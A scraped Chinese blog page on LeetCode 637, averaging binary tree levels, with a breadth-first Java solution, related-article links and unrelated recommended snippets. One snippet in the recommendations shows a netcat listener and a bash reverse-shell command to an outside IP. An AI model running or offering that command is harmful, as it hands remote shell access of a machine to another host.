LeetCode 637. 二叉树的层平均值(Average of Levels in Binary Tree)
637. 二叉树的层平均值
637. Average of Levels in Binary Tree
LeetCode637. Average of Levels in Binary Tree
题目描述
给定一个非空二叉树, 返回一个由每层节点平均值组成的数组.
示例 1:
输入:
    3
   / \
  9  20
    /  \
   15   7
输出: [3, 14.5, 11]
解释:
第 0 层的平均值是 3,第 1 层是 14.5,第 2 层是 11.因此返回 [3, 14.5, 11].
注意:
Java 实现
import java.util.LinkedList;
import java.util.List;
import java.util.Queue;
class TreeNode {
    int val;
    TreeNode left;
    TreeNode right;
    TreeNode(int x) {
        val = x;
    }
}
class Solution {
    public List<Double> averageOfLevels(TreeNode root) {
        List<Double> result = new LinkedList<>();
        Queue<TreeNode> queue = new LinkedList<>();
        if (root == null) {
            return result;
        }
        queue.offer(root);
        while (!queue.isEmpty()) {
            double avg = 0.0;
            int size = queue.size();
            for (int i = 0; i < size; i++) {
                if (queue.peek().left != null) {
                    queue.offer(queue.peek().left);
                }
                if (queue.peek().right != null) {
                    queue.offer(queue.peek().right);
                }
                avg += queue.poll().val;
            }
            result.add(avg / size);
        }
        return result;
    }
}
相似题目
参考资料
- https://leetcode-cn.com/problems/average-of-levels-in-binary-tree/
- https://leetcode.com/problems/average-of-levels-in-binary-tree/
LeetCode 637. 二叉树的层平均值(Average of Levels in Binary Tree)的更多相关文章
- [Swift]LeetCode637. 二叉树的层平均值 | Average of Levels in Binary Tree
		Given a non-empty binary tree, return the average value of the nodes on each level in the form of an ... 
- Leetcode:637. 二叉树的层平均值
		Leetcode:637. 二叉树的层平均值 Leetcode:637. 二叉树的层平均值 Talk is cheap . Show me the code . /** * Definition fo ... 
- Java实现 LeetCode 637  二叉树的层平均值(遍历树)
		637. 二叉树的层平均值 给定一个非空二叉树, 返回一个由每层节点平均值组成的数组. 示例 1: 输入: 3 / \ 9 20 / \ 15 7 输出: [3, 14.5, 11] 解释: 第0层的 ... 
- LeetCode - 637. Average of Levels in Binary Tree
		Given a non-empty binary tree, return the average value of the nodes on each level in the form of an ... 
- 637. Average of Levels in Binary Tree - LeetCode
		Question 637. Average of Levels in Binary Tree Solution 思路:定义一个map,层数作为key,value保存每层的元素个数和所有元素的和,遍历这 ... 
- 【Leetcode_easy】637. Average of Levels in Binary Tree
		problem 637. Average of Levels in Binary Tree 参考 1. Leetcode_easy_637. Average of Levels in Binary T ... 
- LeetCode 637. Average of Levels in Binary Tree二叉树的层平均值 (C++)
		题目: Given a non-empty binary tree, return the average value of the nodes on each level in the form o ... 
- 【LeetCode】637. Average of Levels in Binary Tree 解题报告(Python)
		作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 方法一:DFS 方法二:BFS 日期 题目地址:ht ... 
- LeetCode算法题-Average of Levels in Binary Tree(Java实现)
		这是悦乐书的第277次更新,第293篇原创 01 看题和准备 今天介绍的是LeetCode算法题中Easy级别的第145题(顺位题号是637).给定一个非空二叉树,以数组的形式返回每一层节点值之和的平 ... 
随机推荐
- 内核中通过进程PID获取进程的全部路径
			目录 一丶简介 二丶原理 1.原理 2.代码实现. 一丶简介 我们遇到的Dos路径.如果想转化为NT路径(也就是 C:\xxxx)类似的格式 需要自己实现. 具体原理如下: 二丶原理 1.原理 1.使 ... 
- driud 异常
			异常如下: 十二月 25, 2017 11:37:14 下午 org.apache.tomcat.util.digester.SetPropertiesRule begin警告: [SetProper ... 
- Flask一种通用视图,增删改查RESTful API的设计
			模型设计是后端开发的第一步.数据模型反映了各种对象之间的相互关系. from app import db class Role(db.Model): """角色" ... 
- 常用spaceclaim脚本(二)
			#创建一个草图 #第一个参数传入一个Frame对象 #通过一个点和两个向量创建Frame #Frame的类成员函数Create被重载 #重载函数1:Frame.Create(Point, Direct ... 
- kubernetes(K8S)创建自签TLS证书
			TLS证书用于进行通信使用,组件需要证书关系如下: 组件 需要使用的证书 etcd ca.pem server.pem server-key.pem flannel ca.pem server.pem ... 
- 项目管理工具_maven的配置
			<parent> <groupId>cn.itcast.maven</groupId> <artifactId>Parent</artifactI ... 
- Thingsboard HTTP连接至服务器
			当布署了Thingsboard服务器后,可以通过在服务器地址后,加入swagger-ui.html来打开API文档 
- PostgreSQL查看版本信息
			1.查看客户端版本 psql --version 2.查看服务器端版本 2.1 查看详细信息 select version(); 2.2 查看版本信息 show server_version; 2.2 ... 
- Ubuntu -- 反射shell  nc
			攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ... 
- 【转】反编译微信小程序错误: $gwx is not defined和__vd_version_info__ is not defined 已解决
			修改wxappUnpacker文件中的 wuWxss.js function runVM(name, code) { // let wxAppCode = {}, handle = {cssFile: ... 
